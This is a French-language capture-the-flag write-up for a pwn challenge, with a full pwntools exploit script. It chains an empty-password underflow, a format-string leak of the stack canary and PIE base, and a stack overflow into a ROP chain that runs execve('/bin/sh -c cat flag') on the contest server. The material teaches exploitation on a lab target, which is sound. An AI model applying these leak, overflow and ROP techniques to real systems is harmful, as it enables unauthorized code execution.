Aller au contenu
Tous les challenges
Pwn Résolu

F1 Manager 2026: Black Alps Edition

Mot de passe vide, format string au second ordre, puis débordement de pile.

ID CTFd
17
Service
nc ctf.blackalps.ch 9999
Scripts
1 fichier

1. Analyse du binaire

Le fichier chall.bin est un exécutable x86-64 statique, non strippé :

ELF 64-bit LSB PIE executable, x86-64, static-pie linked, not stripped

Protections relevées avec pwntools :

Arch:  amd64
RELRO: Full RELRO
Stack: Canary found
NX:    NX enabled
PIE:   PIE enabled

Comme la libc est incluse dans le binaire, aucune libc externe n’est nécessaire pour la chaîne ROP.

Les fonctions intéressantes sont :

  • main : lecture du nom d’utilisateur et du mot de passe ;
  • login : vérification des identifiants et du 2FA ;
  • launch_race : saisie des dix messages radio ;
  • print_msg : déchiffrement et affichage des messages ;
  • do_vsprintf / do_printf : mise en forme puis impression des messages ;
  • last_word : lecture d’un commentaire après la victoire.

2. Contournement de l’authentification

Dans main, le mot de passe est stocké immédiatement après l’octet contrôlant le mode de fonctionnement de la course. Après la lecture, le programme retire systématiquement le dernier caractère :

password[strlen(password) - 1] = '\0';

En envoyant une ligne vide comme mot de passe, le buffer reste vide et strlen(password) vaut zéro. L’écriture se produit donc à :

password[-1] = '\0';

Cet octet nul remet à zéro le drapeau situé juste avant le buffer. L’appel à login échoue normalement, mais son résultat n’est pas utilisé pour empêcher la suite. La course démarre alors dans le mode permettant de saisir manuellement les messages radio, sans connaître les identifiants ni le code 2FA.

3. Format string au second ordre

Les messages sont copiés dans des buffers de 256 octets puis déchiffrés par XOR avec la clé de l’écurie sélectionnée. print_msg construit ensuite une chaîne contenant onze formats %s\n et appelle do_vsprintf.

Le résultat intermédiaire contient donc nos messages déchiffrés. Il est ensuite transmis à do_printf, qui effectue essentiellement :

printf(intermediate_buffer);

Les éventuels spécificateurs présents dans les messages sont ainsi interprétés une seconde fois. Le filtre sanitize_message remplace seulement les n et N qui suivent un %, mais laisse notamment les formats positionnels %p.

Le message suivant permet de récupérer les deux valeurs nécessaires :

LEAK:%13$p.%15$p:END
  • %13$p : canary de pile ;
  • %15$p : adresse de retour dans do_vsprintf, égale à PIE_BASE + 0xad11.

La base PIE est donc :

pie_base = leak_15 - 0xad11

Ces fuites sont particulièrement utiles car elles ont lieu dans la même connexion et avant l’appel à last_word.

4. Débordement de pile dans last_word

Après une victoire, le programme appelle last_word, dont la lecture est :

char buffer[256];
read(0, buffer, 0x256);
printf("%s", buffer);

La lecture maximale est de 598 octets. Les offsets utilisés sont :

buffer + 264 : canary
buffer + 272 : saved RBP
buffer + 280 : saved RIP

Le payload commence donc par 264 octets de remplissage, suivis du canary fuité, d’un saved RBP quelconque puis de la chaîne ROP.

Un détail protocolaire est important : après le dixième message, il ne faut pas envoyer de retour à la ligne. Sinon, ce caractère résiduel est consommé par read dans last_word, qui peut retourner avant la réception du payload.

5. Chaîne ROP

La chaîne utilise uniquement des adresses du binaire statique, rebasées avec la fuite PIE :

ret                  : 0x0a01a
pop rdi ; ret        : 0x102e5
pop rsi ; ret        : 0x10d05
pop rdx ; pop rbx    : 0xd779b
pop rax ; ret        : 0x8cbb7
read                 : 0x8bf20
syscall              : 0x34534
scratch BSS          : PIE_BASE + 0x12c000

La première étape lit une structure de données dans le BSS :

read(0, scratch, 0x200);

Cette structure contient :

scratch + 0x00 : "/bin/sh\0"
scratch + 0x10 : "-c\0"
scratch + 0x20 : "cat flag\0"
scratch + 0x80 : argv = { scratch, scratch+0x10, scratch+0x20, NULL }

La chaîne termine avec :

execve("/bin/sh", ["/bin/sh", "-c", "cat flag"], NULL);

via le syscall 59. Cela évite de deviner un descripteur de fichier pour un ROP open/read/write et fonctionne malgré NX, PIE, le canary et Full RELRO.

6. Clé XOR distante et déchiffrement du flag

Les fichiers de clés fournis permettent les tests locaux, mais la clé Mercedes du service distant est différente. Elle se récupère grâce à un message connu :

remote_key = sent_ciphertext XOR decrypted_output

Le script met cette clé en cache dans files/remote_mercedes.bin et la réutilise lors des tentatives suivantes.

Le fichier flag distant fait 2816 octets, soit onze blocs de 256 octets. Après récupération avec cat flag, les blocs sont déchiffrés avec la clé XOR récupérée. L’un d’eux révèle :

BA26{Und3rCuT_7h3_ST4CK_0v3rfl0w_7o_V1c70ry}

7. Reproduction

L’exploit complet est solve.py :

cd .
.venv/bin/python -I solve.py

Pour un test local déterministe avec la variante dont la condition de victoire est patchée :

.venv/bin/python -I solve.py --local --win --attempts 1

Le script choisit Mercedes, optimise les réglages de qualification et de course, récupère la clé distante si nécessaire, fuite le canary et la base PIE, déclenche le débordement puis déchiffre le flag. Comme le résultat de la course comporte une part aléatoire, plusieurs tentatives peuvent être nécessaires ; elles sont gérées automatiquement.

La soumission du flag sur CTFd a été acceptée avec le statut Correct.

Code

#!/usr/bin/env python3
"""Pwntools exploit for F1 Manager 2026: Black Alps Edition.

Remote:  .venv/bin/python -I solve.py
Local:   .venv/bin/python -I solve.py --local --win

The empty-password underflow enables message entry. A second-order format
string leaks the canary and PIE base, then last_word's stack overflow runs a
static execve ROP chain. The remote XOR key and encrypted flag are recovered
automatically.
"""
from pwn import *
import argparse
import os
import re
import time

context.arch = "amd64"

ROOT = os.path.dirname(os.path.abspath(__file__))
FILES = os.path.join(ROOT, "files")
KEY = open(os.path.join(FILES, "key_mercedes.bin"), "rb").read()
REMOTE_KEY = os.path.join(FILES, "remote_mercedes.bin")


def start(local=False, win=False):
    if local:
        binary = "./chall_win.bin" if win else "./chall.bin"
        return process([
            "docker", "run", "--rm", "-i", "--platform", "linux/amd64",
            "-v", FILES + ":/work", "-w", "/work", "f1dbg:latest", binary,
        ])
    return remote("ctf.blackalps.ch", 9999)


def login(io):
    io.sendlineafter(b"team number", b"3")
    io.sendlineafter(b"1 or 2", b"1")
    io.sendlineafter(b"username : ", b"x")
    io.sendlineafter(b"password : ", b"")
    return io.recvuntil(b"5. Exit\n")


def crypt_message(plain):
    assert len(plain) <= 255
    n = len(plain)
    plain = bytearray(plain.ljust(255, b"A"))
    forbidden = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
    for i in range(n, 255):
        if (plain[i] ^ KEY[i]) in forbidden:
            for c in b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
                if (c ^ KEY[i]) not in forbidden:
                    plain[i] = c
                    break
    msg = bytes(c ^ KEY[i] for i, c in enumerate(plain))
    bad = [(i, c) for i, c in enumerate(msg) if c in forbidden]
    if bad:
        raise ValueError(f"bad encrypted message: {bad}")
    return msg


def weather_value(text):
    if b"Heavy Rain" in text:
        return 2
    if b"Light Rain" in text:
        return 1
    return 0


def setup_car(io, phase, info):
    io.sendline(b"1" if phase == "quali" else b"2")
    io.sendlineafter(b"5. Confirm\n", b"1")
    if phase == "quali":
        tyre = (1, 4, 5)[info["quali"]]
        io.sendlineafter(b"qualification tyre compound", str(tyre).encode())
    else:
        dry_tyres = {1: (1, 2), 2: (1, 3), 3: (2, 3)}[info["wear"]]
        tyres = []
        for weather in (info["race1"], info["race2"]):
            tyres.append((1, 4, 5)[weather] if weather else None)
        if info["race1"] == info["race2"] == 0:
            tyres = dry_tyres
        else:
            tyres = [1 if tyre is None else tyre for tyre in tyres]
        io.sendlineafter(b"Stint 1 compound", str(tyres[0]).encode())
        io.sendlineafter(b"Stint 2 compound", str(tyres[1]).encode())
    io.sendlineafter(b"5. Confirm\n", b"2")
    io.sendlineafter(b"Enter new aero value", str(info["aero"]).encode())
    io.sendlineafter(b"5. Confirm\n", b"3")
    io.sendlineafter(b"Enter new quantity", str(info["fuel" if phase == "race" else "quali_fuel"]).encode())
    io.sendlineafter(b"5. Confirm\n", b"5")
    return io.recvuntil(b"5. Exit\n")


def parse_weekend(data):
    def number(label):
        return int(re.search(rb"%s\s+: ~?(\d+)" % label, data).group(1))

    straight = number(rb"Straight sections")
    fast = number(rb"Fast corners")
    slow = number(rb"Slow corners")
    race_text = re.search(rb"Race\s+: ([^\n]+)", data).group(1)
    if b"(all race)" in race_text:
        race1 = race2 = weather_value(race_text)
    else:
        phases = re.search(rb"(.*?) \(first half\) then (.*?) \(second half\)", race_text)
        race1, race2 = weather_value(phases.group(1)), weather_value(phases.group(2))
    fuel_per_lap = number(rb"Fuel per lap")
    return {
        "wear": number(rb"Tyre wear factor"),
        "fuel": number(rb"Number of laps") * fuel_per_lap,
        "quali_fuel": fuel_per_lap + fuel_per_lap // 2 + 1,
        "aero": (straight * 10 + fast * 40 + slow * 80) // 100,
        "quali": weather_value(re.search(rb"Qualification\s+: ([^\n]+)", data).group(1)),
        "race1": race1,
        "race2": race2,
    }


def build_rop(base, canary):
    ret = base + 0xA01A
    pop_rdi = base + 0x102E5
    pop_rsi = base + 0x10D05
    pop_rdx_rbx = base + 0xD779B
    read_addr = base + 0x8BF20
    pop_rax = base + 0x8CBB7
    syscall = base + 0x34534
    scratch = base + 0x12C000

    def call3(addr, a, b, c):
        return flat(pop_rdi, a, pop_rsi, b, pop_rdx_rbx, c, 0, addr)

    chain = flat(
        ret,
        call3(read_addr, 0, scratch, 0x200),
        pop_rdi, scratch,
        pop_rsi, scratch + 0x80,
        pop_rdx_rbx, 0, 0,
        pop_rax, 59,
        syscall,
    )
    return flat({0: ret, 264: canary, 272: 0, 280: chain})


def build_stage(base, command):
    scratch = base + 0x12C000
    return flat({
        0x00: b"/bin/sh\x00",
        0x10: b"-c\x00",
        0x20: command + b"\x00",
        0x80: [scratch, scratch + 0x10, scratch + 0x20, 0],
    }, filler=b"\x00")


def attempt(args):
    global KEY
    if not args.local and os.path.exists(REMOTE_KEY):
        KEY = open(REMOTE_KEY, "rb").read()
        log.info("using recovered remote key")

    io = start(args.local, args.win)
    intro = login(io)
    if args.verbose:
        print(intro.decode("latin1"))
    info = parse_weekend(intro)
    log.info(f"weekend setup = {info}")
    setup_car(io, "quali", info)
    io.sendline(b"3")
    quali = io.recvuntil(b"5. Exit\n")
    if args.verbose:
        print(quali.decode("latin1"))
    setup_car(io, "race", info)
    io.sendline(b"4")
    io.recvuntil(b"symmetric key!)\n")
    plain = b"LEAK:%13$p.%15$p:END"
    msg = crypt_message(plain)
    assert not any(c in b"\x00\x09\x0a\x0b\x0c\x0d\x20" for c in msg)
    io.sendline(b"1-" + msg)
    benign = crypt_message(b"OK")
    for lap in range(2, 11):
        line = str(lap).encode() + b"-" + benign
        # No trailing newline on the tenth message: otherwise last_word()
        # consumes it and returns before the overflow is sent.
        io.send(line) if lap == 10 else io.sendline(line)
    out = io.recvuntil(b"Do you have any additional comments?", timeout=10)
    match = re.search(rb"LEAK:(0x[0-9a-f]+)\.(0x[0-9a-f]+):END", out)
    if not match:
        if not args.local and b"We are back!\n\n" in out:
            decrypted = out.split(b"We are back!\n\n", 1)[1][:255]
            if len(decrypted) == 255:
                recovered = bytes(msg[i] ^ decrypted[i] for i in range(255)) + KEY[255:]
                open(REMOTE_KEY, "wb").write(recovered)
                log.success(f"remote key recovered and saved to {REMOTE_KEY}")
                log.info(f"key prefix = {recovered[:16].hex()}")
        raise RuntimeError("leak not found")
    log.info(f"raw leak = {match.group(0)!r}")
    canary = int(match.group(1), 16)
    base = int(match.group(2), 16) - 0xAD11
    log.info(f"canary = {canary:#x}")
    log.info(f"PIE base = {base:#x}")

    payload = build_rop(base, canary)
    log.info(f"sending {len(payload)}-byte overflow")
    io.send(payload)
    time.sleep(0.3)
    command = b"cat key_mclaren.bin" if args.local else b"cat flag"
    io.send(build_stage(base, command))
    result = io.recvall(timeout=5)
    flags = re.findall(rb"BA26\{[^}]+\}", result)
    if not args.local and len(result) >= 2816:
        encrypted_flag = result[-2816:]
        open(os.path.join(FILES, "remote_flag.bin"), "wb").write(encrypted_flag)
        for offset in range(0, 2816, 256):
            block = encrypted_flag[offset:offset + 256]
            decrypted = bytes(c ^ KEY[i] for i, c in enumerate(block))
            flags.extend(re.findall(rb"BA26\{[^}]+\}", decrypted))
    if flags:
        for flag in flags:
            print(flag.decode())
        return True
    if args.local:
        print(result.decode("latin1"))
        return True
    log.info(f"shell returned {len(result)} bytes")
    raise RuntimeError("no flag in shell output")


def main():
    parser = argparse.ArgumentParser(description="Exploit for F1 Manager 2026: Black Alps Edition")
    parser.add_argument("--local", action="store_true", help="run the original binary in Docker")
    parser.add_argument("--win", action="store_true", help="with --local, use the win-patched binary")
    parser.add_argument("--attempts", type=int, default=12, help="maximum race attempts (default: 12)")
    parser.add_argument("--verbose", action="store_true", help="print race details")
    args = parser.parse_args()

    for number in range(1, args.attempts + 1):
        log.info(f"attempt {number}/{args.attempts}")
        try:
            if attempt(args):
                return
        except (EOFError, RuntimeError, ValueError) as error:
            log.warning(str(error))
    log.failure(f"exploit failed after {args.attempts} attempts")
    raise SystemExit(1)


if __name__ == "__main__":
    main()